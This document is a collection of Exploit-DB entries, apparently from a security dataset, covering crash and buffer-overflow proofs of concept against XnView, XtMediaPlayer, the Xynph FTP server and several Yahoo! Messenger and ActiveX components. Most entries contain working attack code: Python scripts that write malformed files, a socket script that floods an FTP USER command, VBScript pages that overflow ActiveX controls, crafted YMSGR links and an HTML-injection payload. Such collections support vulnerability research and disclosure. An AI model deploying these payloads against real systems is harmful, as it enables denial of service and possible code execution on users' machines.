deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21741
Description: XnView 1.99.1 - '.JLS' File Decompression Heap Overflow
Type: dos
Platform: windows
Date: 2012-10-04
Author: Joseph Sheridan

Exploit:
SUMMARY

XnView Formats PlugIn is prone to an overflow condition. The JLS Plugin (xjpegls.dll) library fails to properly sanitize user-supplied input resulting in a heap-based buffer overflow. With a specially crafted JLS compressed image file, a context-dependent attacker could potentially execute arbitrary code.

POC file posted at: http://www.reactionpenetrationtesting.co.uk/vuln.jls
                    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21741.jls

CVE number: CVE-2012-4988
Impact: High
Vendor homepage: http://www.xnview.com/
Vendor notified: 29/06/2012
Vendor response: Fix was promised for 1.99.1 but no fix was released
Found by: Joseph Sheridan, Director of Reaction Information Security
ABOUT REACTIONIS

Reaction Information Security is a leading independent pen test consultancy specialising in delivering the highest quality services including network pen testing and web application security testing. As a CESG CHECK Service Provider we are authorised to carry out penetration testing on classified government networks.

AFFECTED PRODUCTS

XnView 1.99 and 1.99.1, 'All Plugins 1.90' and Xjpegls.dll (version 1.96.0.0) previous versions may also be affected.

DETAILS

XnView Formats PlugIn is prone to an overflow condition. The JLS Plugin (xjpegls.dll) library fails to properly sanitize user-supplied input resulting in a heap-based buffer overflow. With a specially crafted JLS compressed image file, a context-dependent attacker could potentially execute arbitrary code.

IMPACT

If a user could be enticed to open a malicious JLS file, the attack could result in remote code execution.

SOLUTION

No solution at the time of writing. Never open files from untrusted sources.

DISTRIBUTION

In addition to posting on the website, a text version of this notice has been posted to the following e-mail and Usenet news recipients.

bugtraq () securityfocus com
full-disclosure () lists grok org uk
Future updates of this advisory, if any, will be reflected on this page, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the current page for any updates.
Exploit-DB #47786
Description: XnView 2.49.1 - 'Research' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-12-18
Author: ZwX

Exploit:
# Exploit Title: XnView 2.49.1 - 'Research' Denial of Service (PoC)
# Exploit Author : ZwX
# Exploit Date: 2019-12-17
# Vendor Homepage :  http://www.xnview.com
# Link Software : https://www.xnview.com/fr/xnview/#downloads
# Tested on OS: Windows 7

'''
Proof of Concept (PoC):
=======================

1.Download and install XnView
2.Open the XnView for Windows tools 
3.Run the python operating script that will create a file (poc.txt)
4.Run the software " Tools -> Research -> A search window opens "
5.Copy and paste the characters in the file (poc.txt)
6.Paste the characters in the field 'File Name' and  'In' click on 'Research'
7.XnView for Windows Crashed
'''

#!/usr/bin/python

DoS=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x40\x4f\x73\x61\x6e\x64\x61\x4d\x61\x6c\x69\x74\x68\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x74\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41")

poc = DoS
file = open("poc.txt,"w")
file.write(poc)
file.close()

print "POC Created by ZwX"
Exploit-DB #18586
Description: XnView FlashPix Image Processing - Heap Overflow
Type: dos
Platform: windows
Date: 2012-03-12
Author: Francis Provencher

Exploit:
Application:   XnView FlashPix Image Processing Heap Overflow

Platforms:   Windows 

Secunia:   SA47388  

{PRL}:   2012-06

Author:   Francis Provencher (Protek Research Lab's) 

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============
XnView is a cross-platform image viewer used for viewing, converting, organising and editing graphical & video files.
It is free of charge for private, educational and non-profit organisations. For commercial use and distribution,
the user must register the program. It is popular with users as it provides features normally found only
in commercial image viewers.

(http://en.wikipedia.org/wiki/XnView)

#####################################################################################

============================
2) Report Timeline
============================

2012-01-05  Vulnerability reported to Secunia
2012-03-12  Vendor disclose patch


#####################################################################################

============================
3) Technical details
============================
The vulnerability is caused due to an error when processing FPX images, which can be exploited to cause
an heap-based buffer overflow by tricking a user into opening a specially crafted image file.

#####################################################################################

===========
4) The Code
===========

Here: http://www.protekresearchlab.com/exploits/PRL-2012-06.fpx
Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18586.pfx (PRL-2012-06.fpx)
Exploit-DB #37299
Description: XtMediaPlayer 0.93 - '.wav' Crash (PoC)
Type: dos
Platform: windows
Date: 2015-06-16
Author: SATHISH ARTHAR

Exploit:
#!/usr/bin/python

#[+] Author: SATHISH ARTHAR
#[+] Exploit Title:  XtMediaPlayer - 0.93 Memory Corruption PoC
#[+] Date: 16-06-2015
#[+] Category: DoS/PoC
#[+] Tested on: WinXp/Windows 7 
#[+] Vendor:  http://downloads.sourceforge.net/project/xtmediaplayer/XtMediaPlayer/XtMediaPlayer_0.93_Win.rar 
#[+] Sites: sathisharthars.wordpress.com
#[+] Twitter: @sathisharthars
#[+] Thanks:   offensive security (@offsectraining)


 
import os
os.system("color 02")

print"###########################################################"
print"#  Title: XtMediaPlayer - 0.93 Memory Corruption PoC       #"
print"#  Author: SATHISH ARTHAR                                  #"
print"#  Category: DoS/PoC                                       # "
print"###########################################################"
	
crash=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
 
filename = "crash.wav"
file = open(filename , "w")
file.write(crash)
print "\n Files Created!\n"
file.close()
Exploit-DB #11176
Description: Xunlei XPPlayer 5.9.14.1246 - ActiveX Remote Execution (PoC)
Type: dos
Platform: windows
Date: 2010-01-17
Author: superli

Exploit:
# Author: superli
# Version: <= 5.9.14.1246
# Tested on: xpsp3 ie6
# Greeting to Xunlei Security Center guys,your guys still not yet # release patch or new version to fix the vunl which also can #attack Xunlei KanKan Player(http://dl.xunlei.com/xmp.html).
# I exposed this vunl two weeks ago,are you really responsible for # the security of millions users?
# Code :

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11176.zip (Xunlei_XPPlayer_ActiveX_Remote_Exec_0day_POC.zip)
Exploit-DB #15905
Description: Xynph FTP Server 1.0 - USER Denial of Service
Type: dos
Platform: windows
Date: 2011-01-04
Author: freak_out

Exploit:
# Exploit Title: Xynph 1.0 USER Denial of Service Exploit
# Date: 04.01.2011
# Author: freak_out
# Version: 1.0
# Tested on: Windows XP SP3
# Type: DOS/POC
# Greetings: anco, mahjong, puddy, st!x, war10ck, fraggle, DarthShredder, krzym, starslayer, db
# E-Mail: freak_out@phcn.de

#DoS:
#!/usr/bin/python
import socket
import sys

buf = "A"*100000
host = sys.argv[1]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host,21))
print "Send USER " + buf
s.send("USER %s\r\n" % buf)
Exploit-DB #6072
Description: Yahoo Messenger 8.1 - ActiveX Remote Denial of Service
Type: dos
Platform: windows
Date: 2008-07-14
Author: Jeremy Brown

Exploit:
Yahoo Messenger 8.1 (latest) Remote DoS
Safe for Scripting, Safe for Initialize

<html><body>

<object id=target classid=clsid:02478D38-C3F9-4EFB-9B51-7695ECA05670></object>
<script language=vbscript>


arg1=String(517140, "A")
target.c arg1


</script>
</body></html>

# milw0rm.com [2008-07-14]
Exploit-DB #31748
Description: Yahoo! Assistant 3.6 - 'yNotifier.dll' ActiveX Control Memory Corruption
Type: dos
Platform: windows
Date: 2008-05-06
Author: Sowhat

Exploit:
source: https://www.securityfocus.com/bid/29065/info

Yahoo! Assistant 'yNotifier.dll' ActiveX control is prone to a memory-corruption vulnerability.

Successfully exploiting this issue may allow remote attackers to execute arbitrary code in the context of the application using the affected ActiveX control. Failed exploit attempts will likely crash the application.

The issue affects Yahoo! Assistant 3.6 and prior versions. 

<object classid='clsid:2283BB66-A15D-4AC8-BA72-9C8C9F5A1691'>
Exploit-DB #36433
Description: Yahoo! CD Player - ActiveX Control 'open()' Method Stack Buffer Overflow
Type: dos
Platform: windows
Date: 2011-04-20
Author: shinnai

Exploit:
source: https://www.securityfocus.com/bid/51011/info

The Yahoo! CD Player ActiveX control ('YoPlyCd.dll') is prone to a remote stack-based buffer-overflow vulnerability because the application fails to properly bounds check user-supplied input.

Attackers can exploit this issue to execute arbitrary code within the context of an application (typically Internet Explorer) that uses the ActiveX control. Failed exploit attempts will result in a denial-of-service condition. 

<object classid='clsid:5622772D-6C27-11D3-95E5-006008D14F3B' id='test'></object>

<script language='vbscript'>

 buff = String(2097512, "A") '<- EAX changes according to the first parameter of
                             '   "String" function (Number As Long)
 test.open buff

</script>
Exploit-DB #23086
Description: Yahoo! Messenger 4.0/5.0 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2003-09-01
Author: diman

Exploit:
source: https://www.securityfocus.com/bid/8523/info

It has been reported that multiple PC2Phone products are prone to a remote denial of service condition. The problem is said to occur when processing excessive data passed to the programs via a UDP packet and could result in the product crashing. This could result in an established conversation prematurely ending, or potentially other attacks.

The precise technical details regarding this issue are currently unknown, however as further information is made available this bid will be updated accordingly. 

procedure TForm1.Button1Click(Sender: TObject);
var C:string;
N:integer;
MyStream:TMemoryStream;
begin
Memo1.Lines.Add('start');
C:=Edit3.Text; //for example 'AAAA...' 1472 char 'A' for certain
N:=strtoint(Edit4.Text);
NMUDP1.RemoteHost:=Edit1.Text;
NMUDP1.RemotePort:=strtoint(Edit2.Text);
MyStream:=TMemoryStream.Create;
try
MyStream.Write(C[1],Length(C));
for n:=1 to N do
begin
NMUDP1.SendStream(MyStream);
end;
finally
MyStream.Free;
end;
Memo1.Lines.Add('finish');
end;
Exploit-DB #23293
Description: Yahoo! Messenger 5.6 - File Transfer Buffer Overrun
Type: dos
Platform: windows
Date: 2003-10-27
Author: Hat-Squad Security Team

Exploit:
source: Yahoo! Messenger File Transfer Buffer Overrun Vulnerability

Yahoo! Messenger is prone to a remotely exploitable buffer overrun vulnerability. An attacker may trigger this condition by initiating a malformed 'sendfile' request, which the victim user must then accept. This will reportedly result in an access violation error, which is likely due to memory corruption.

An attacker may theoretically exploit this condition to execute arbitrary code on a client system. This condition can be exploited via a malicious 'sendfile' link. 

YMSGR:sendfile?[victim_yahooID]+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&c%c:\[somefile]
Exploit-DB #25658
Description: Yahoo! Messenger 5.x/6.0 - URL Handler Remote Denial of Service
Type: dos
Platform: windows
Date: 2005-05-13
Author: Torseq Tech

Exploit:
source: https://www.securityfocus.com/bid/13626/info

Yahoo! Messenger is prone to a denial-of-service vulnerability because the application fails to handle exceptional conditions.

A remote user can cause Yahoo! Messenger to disconnect through malicious emails or web pages.

This issue is reported to affect Yahoo! Messenger versions 5.x to 6.0 Windows; other versions on other operating systems may also be affected. 

<a href="YMSGR:%63%68%61%74%3F:::%26%26%26%26">Click Here</a>
<a href="YMSGR:Chat?:::%26%26%26%26">Click Here</a>
Exploit-DB #28099
Description: Yahoo! Messenger 7.0/7.5 - 'jscript.dll' Non-ASCII Character Denial of Service
Type: dos
Platform: windows
Date: 2006-06-23
Author: Ivan Ivan

Exploit:
source: https://www.securityfocus.com/bid/18622/info

Yahoo! Messenger is prone to a denial-of-service vulnerability. Successful exploitation will cause the application to crash, effectively denying service.

This issue affects version 7.5.0.814; other versions may also be vulnerable.

The following examples are sufficient to trigger this issue:

s:[space]msg[alt+0160]:---------------------------------------------iframe onload=$InlineAction()>:)

msg:---------------------------------------------iframe onload=$InlineAction()>:)
Exploit-DB #29531
Description: Yahoo! Messenger 8.0 - Notification Message HTML Injection
Type: dos
Platform: windows
Date: 2007-01-26
Author: Hai Nam Luke

Exploit:
source: https://www.securityfocus.com/bid/22269/info

Yahoo! Messenger is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the context of a victim's Internet Explorer temporary folder. This may help the attacker steal information and launch other attacks.

Versions prior to 2.1.0.29 are vulnerable to this issue. 

1. Firstname: example example example example ? ( as long as victim cant see the lastname)
2. Lastname: <img src="javascript:alert('Executed from ' + top.location)" >
3. Request to add victim ID to your contact list.
4. Once victim accepts your request, send him a message and change your online status (Available -> Invisible)
Exploit-DB #28341
Description: Yahoo! Messenger 8.0.0.863 - File Extension Spoofing
Type: dos
Platform: windows
Date: 2006-08-04
Author: ivancool2003

Exploit:
source: https://www.securityfocus.com/bid/19353/info

A vulnerability in Yahoo! Messenger allows remote attackers to spoof file extensions. This issue is due to a design error. 

An attacker may leverage this issue to spoof downloaded filenames to unsuspecting users. This issue may lead to a compromise of the target computer as well as other consequences. 

Yahoo! Messenger version 8.0.0.863 is reportedly affected; earlier versions may be affected as well.

Sample filenames and extensions have been provided:

example: Annakournikova and her friends.jpg‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@.exe Trojan.txt‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@.exe Info.txt‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@‾@.exe
Exploit-DB #30500
Description: Yahoo! Messenger 8.1 - 'KDU_V32M.DLL' Remote Denial of Service
Type: dos
Platform: windows
Date: 2007-08-15
Author: team509

Exploit:
source: https://www.securityfocus.com/bid/25330/info

Yahoo! Messenger is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects Yahoo! Messenger 8.1.0; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30500.rar
Exploit-DB #30314
Description: Yahoo! Messenger 8.1 - Address Book Remote Buffer Overflow
Type: dos
Platform: windows
Date: 2007-07-16
Author: Rajesh Sethumadhavan

Exploit:
source: https://www.securityfocus.com/bid/24926/info

Yahoo! Messenger is prone to a remote buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to execute arbitrary code in the context of the application or to cause denial-of-service conditions.

Yahoo! Messenger 8.1 and prior versions are vulnerable.


1. Create an address book entry using Yahoo! portal with a large amount of 'a's in 'email address' textbox.
2. Log in to Yahoo! Messenger
3. Go to the address book tab
4. Place your mouse pointer over the specially crafted address book entry
5. Yahoo! Messenger will immediately crash
Exploit-DB #30544
Description: Yahoo! Messenger 8.1 - File Transfer Denial of Service
Type: dos
Platform: windows
Date: 2007-08-29
Author: SlicK

Exploit:
source: https://www.securityfocus.com/bid/25484/info

Yahoo! Messenger is prone to a denial-of-service vulnerability because it fails to handle certain file-transfer packets.

Attackers can exploit this issue to crash the application, causing denial-of-service conditions.

NOTE: This issue is reportedly caused by a buffer-overflow issue, but this has not been confirmed.

Yahoo! Messenger 8.1.0.209 and 8.1.0.402 are vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30544.rar
Exploit-DB #4335
Description: Yahoo! Messenger 8.1.0.413 - 'webcam' Remote Crash
Type: dos
Platform: windows
Date: 2007-08-29
Author: wushi

Exploit:
Yahoo! Messenger 8.1.0.413 (webcam) Remote Crash Exploit

1.compile the dll.
2. choose "invite to view my webcam" to a contact id who is online using yahoo! messenger.
3.when the otherside accept the invatation , inject the dll to local yahoo! messenger 8.1.0.413 's process.
4 . the otherside's yahoo! messenger will be crashed.

Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30500.rar (08292007-expyahoo.rar)

# milw0rm.com [2007-08-29]
Exploit-DB #33350
Description: Yahoo! Messenger 9 - 'YahooBridgeLib.dll' ActiveX Control Remote Denial of Service
Type: dos
Platform: windows
Date: 2009-11-12
Author: HACKATTACK

Exploit:
source: https://www.securityfocus.com/bid/37007/info

Yahoo! Messenger is prone to a denial-of-service vulnerability because of a NULL-pointer dereference error.

A successful attack allows a remote attacker to crash the application using the ActiveX control (typically Internet Explorer), denying further service to legitimate users. Given the nature of this issue, the attacker may also be able to run arbitrary code, but this has not been confirmed.

Yahoo! Messenger 9.0.0.2162 is vulnerable; other versions may also be affected. 

<?XML version='1.0' standalone='yes' ?>

<package><job id='DoneInVBS' debug='false' error='true'>

<object classid='clsid:58916BE6-BAFF-4F33-AEFE-B2AA03FE4C86' id='target' />

<script language='vbscript'>


arg1=String(11284, "A")

target.RegisterMe arg1

</script>

</job>

</package>
Exploit-DB #10092
Description: Yahoo! Messenger 9.0.0.2162 - 'YahooBridgeLib.dll' ActiveX Control Remote Denial of Service
Type: dos
Platform: windows
Date: 2009-11-12
Author: HACKATTACK

Exploit:
<?XML version='1.0' standalone='yes' ?>

<package><job id='DoneInVBS' debug='false' error='true'>

<object classid='clsid:58916BE6-BAFF-4F33-AEFE-B2AA03FE4C86' id='target' />

<script language='vbscript'>


arg1=String(11284, "A")

target.RegisterMe arg1

</script>

</job>

</package>
Exploit-DB #5043
Description: Yahoo! Music Jukebox 2.2 - 'AddImage()' ActiveX Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-02-02
Author: h07

Exploit:
<!--
Yahoo! Music Jukebox 2.2 AddImage() ActiveX 0day Remote Buffer Overlow PoC Exploit
Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
Product homepage: http://music.yahoo.com/jukebox/
Tested on:..
- Yahoo! Music Jukebox (2.2.2.056)
- MS IE 6

Details:..

----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [41414141])
----------------------------------------------------------------
EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDX=7C9037D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00
ESP=03EC1370: BF 37 90 7C 58 14 EC 03-9C FF FB 03 74 14 EC 03
EBP=03EC1390: 40 14 EC 03 8B 37 90 7C-58 14 EC 03 9C FF FB 03
ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EIP=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
              --> N/A

Just for fun ;]
-->

<object id="obj" classid="clsid:5F810AFC-BB5F-4416-BE63-E01DD117BD6C"></object>

<script>

function makebuf(payload, len) {
    while(payload.length < (len * 2)) payload += payload;
    payload = payload.substring(0, len);
    return payload;
}

var target = "AddImage";
var payload = unescape("%u4141%u4141");
var len = 340

var tmp = makebuf(payload, len);
obj[target]('http://'+tmp, 1);

</script>

# milw0rm.com [2008-02-02]